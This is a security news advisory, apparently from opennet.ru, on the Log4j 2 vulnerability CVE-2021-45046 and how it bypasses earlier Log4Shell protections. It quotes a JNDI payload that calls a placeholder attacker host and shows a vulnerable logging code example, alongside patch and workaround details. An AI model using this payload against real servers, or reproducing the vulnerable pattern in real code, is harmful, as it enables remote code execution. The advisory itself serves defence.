Another vulnerability (CVE-2021-45046) has been discovered in the JNDI substitution implementation of the Log4j 2 library, which manifests despite the fixes included in release 2.15 and regardless of the use of the 'log4j2.noFormatMsgLookup' setting for protection. The issue primarily poses a risk to older versions of Log4j 2 that are protected with the 'noFormatMsgLookup' flag, as it allows bypassing the protection from the previous vulnerability (Log4Shell, CVE-2021-44228), enabling code execution on the server. For users of version 2.15, exploitation is limited to creating conditions that lead to application crashes due to resource exhaustion.
The vulnerability is only manifested on systems where contextual lookups (Context Lookup) are used in logging, such as ${ctx:loginId}, or MDC patterns (Thread Context Map), for example, %X, %mdc, and %MDC. Exploitation involves creating conditions to log data containing JNDI substitutions when contextual lookups or MDC patterns that define the formatting rules for logging output are used in the application.
Researchers from LunaSec noted that for Log4j versions less than 2.15, this vulnerability can be used as a new vector for the Log4Shell attack, leading to code execution if ThreadContext expressions that include external data are logged, regardless of whether the 'noMsgFormatLookups' flag or the '%m{nolookups}' pattern is enabled for protection.
Bypassing the protection involves substituting "${jndi:ldap://attacker.com/a}" through an intermediate variable that is used in the logging output formatting rules. For example, if the context request ${ctx:apiversion} is used in logging, the attack can be executed by substituting the data "${jndi:ldap://attacker.com/a}" into the value assigned to the apiversion variable. Example of vulnerable code: appender.console.layout.pattern = ${ctx:apiversion} — %d{yyyy-MM-dd HH:mm:ss} %-5p %c{1}:%L — %m%n @GetMapping("/") public String index(@RequestHeader("X-Api-Version") String apiVersion) { // The value of HTTP header "X-Api-Version" is passed to ThreadContext ThreadContext.put("apiversion", apiVersion); // When logging, the external value apiversion will be processed using ${ctx:apiversion} logger.info("Received a request for API version"); return "Hello, world!"; }
In Log4j version 2.15, the vulnerability can be exploited to carry out DoS attacks by passing values to ThreadContext that lead to a loop in the processing of the formatting template.
To block the vulnerability, updates 2.16 and 2.12.2 have been released. In Log4j 2.16, in addition to the fixes implemented in version 2.15 and binding JNDI LDAP requests to "localhost," JNDI functionality is fully disabled by default and support for message substitution patterns has been removed. As a workaround for protection, it is suggested to remove the class JndiLookup from the classpath (for example, "zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class").
You can monitor the release of patches in the distribution pages (Debian, Ubuntu, RHEL, SUSE, Fedora, Arch) and from Java platform vendors (GitHub, Docker, Oracle, vmWare, Broadcom, and Amazon/AWS, Juniper, VMware, Cisco, IBM, Red Hat, MongoDB, Okta, SolarWinds, Symantec, McAfee, SonicWall, FortiGuard, Ubiquiti, F-Secure, etc.).
Source: opennet.ru
